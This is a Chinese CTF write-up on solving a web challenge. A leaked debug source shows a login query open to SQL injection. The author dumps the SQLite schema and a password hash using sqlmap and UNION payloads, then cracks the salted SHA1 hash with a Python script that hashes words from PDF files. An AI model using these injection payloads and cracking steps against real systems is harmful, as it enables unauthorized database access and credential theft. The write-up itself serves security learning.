image.png
    点开一个链接,还有一个链接,再点开,又是一堆链接,唯一不同的就是pdf不一样。。。
    上dirsearch扫一下,扫到了admin.php和login.php,先去admin.php里面看下
    image.png
    用弱口令爆破失败,尝试sql注入也失败,查看网页源代码也没有什么东西,无奈只好去login.php看看。
    image.png
    基本上和admin.php一样的配置,不过这次查看网页源代码发现了一些东西

    1. <!-- TODO: Remove ?debug-Parameter! -->

    试试在链接后面加上debug参数,得到回显

    1. <?php
    2. ob_start();
    3. ?>
    4. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
    5. <html>
    6. <head>
    7. <style>
    8. blockquote { background: #eeeeee; }
    9. h1 { border-bottom: solid black 2px; }
    10. h2 { border-bottom: solid black 1px; }
    11. .comment { color: darkgreen; }
    12. </style>
    13. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
    14. <title>Login</title>
    15. </head>
    16. <body>
    17. <div align=right class=lastmod>
    18. Last Modified: Fri Mar 31:33:7 UTC 1337
    19. </div>
    20. <h1>Login</h1>
    21. Login Page, do not try to hax here plox!<br>
    22. <form method="post">
    23. ID:<br>
    24. <input type="text" name="usr">
    25. <br>
    26. Password:<br>
    27. <input type="text" name="pw">
    28. <br><br>
    29. <input type="submit" value="Submit">
    30. </form>
    31. <?php
    32. if(isset($_POST['usr']) && isset($_POST['pw'])){
    33. $user = $_POST['usr'];
    34. $pass = $_POST['pw'];
    35. $db = new SQLite3('../fancy.db');
    36. $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    37. if($res){
    38. $row = $res->fetchArray();
    39. }
    40. else{
    41. echo "<br>Some Error occourred!";
    42. }
    43. if(isset($row['id'])){
    44. setcookie('name',' '.$row['name'], time() + 60, '/');
    45. header("Location: /");
    46. die();
    47. }
    48. }
    49. if(isset($_GET['debug']))
    50. highlight_file('login.php');
    51. ?>
    52. <!-- TODO: Remove ?debug-Parameter! -->
    53. <hr noshade>
    54. <address>Flux Horst (Flux dot Horst at rub dot flux)</address>
    55. </body>

    这个就是login.php的代码了,可以看到sql查询处是没有防注入措施的,上sqlmap:

    1. sqlmap -u http://220.249.52.134:39164/login.php --data usr= --tables
    2. Database: SQLite_masterdb
    3. [1 table]
    4. +-------+
    5. | Users |
    6. +-------+

    查到了Users表,接着查询列名:

    1. sqlmap -u http://220.249.52.134:39164/login.php --data usr= -T Users --columns
    2. Database: SQLite_masterdb
    3. Table: Users
    4. [0 columns]
    5. +--------+
    6. | Column |
    7. +--------+
    8. +--------+

    然而什么都没有查到,没办法,只能继续尝试手注看看

    SQLite数据库中一个特殊的名叫 SQLITE_MASTER 上执行一个SELECT查询以获得所有表的索引。每一个 SQLite 数据库都有一个叫 SQLITE_MASTER 的表, 它定义数据库的模式。
    > 其中有一个sql列,记录了创建该项目的sql语句。

    1. usr=123' union select name,sql from sqlite_master--&pw=123

    得到sql语句

    1. CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255));

    除了用户名和密码外,还有一个hint,看一下 ``` usr=123’ union select name,hint from Users—&pw=123

    name=+my+fav+word+in+my+fav+paper%3F%21; expires=Sat, 26-Dec-2020 08:36:21 GMT; Max-Age=60; path=/

    1. 猜测这个fav word就是密码,并且通过注入得到加密后的密码:

    3fab54a50e770d830c0416df817567662a9dc85c

    1. 剩下的就是从每篇pdf中遍历单词,看看加密后的密码是否与数据库中的相同即可。
    2. ```python
    3. import os
    4. import hashlib
    5. from pdfminer.pdfinterp import PDFResourceManager, process_pdf
    6. from pdfminer.converter import TextConverter
    7. from pdfminer.layout import LAParams
    8. from io import StringIO
    9. from io import open
    10. def readPDF(pdfFile):
    11. rsrcmgr = PDFResourceManager()
    12. retstr = StringIO()
    13. laparams = LAParams()
    14. device = TextConverter(rsrcmgr, retstr, laparams=laparams)
    15. process_pdf(rsrcmgr, device, pdfFile)
    16. device.close()
    17. content = retstr.getvalue()
    18. retstr.close()
    19. return content
    20. for file in os.listdir("."):
    21. if os.path.splitext(file)[1] == ".pdf":
    22. with open(file,"rb") as pdf:
    23. pdf_text=readPDF(pdf)
    24. text_list=pdf_text.split()
    25. for i in text_list:
    26. sha1_passwd=hashlib.sha1((i+"Salz!").encode("utf-8")).hexdigest()
    27. if sha1_passwd=="3fab54a50e770d830c0416df817567662a9dc85c":
    28. print("PASSWORD:"+i)
    29. exit()

    找到单词后登录,得到flag。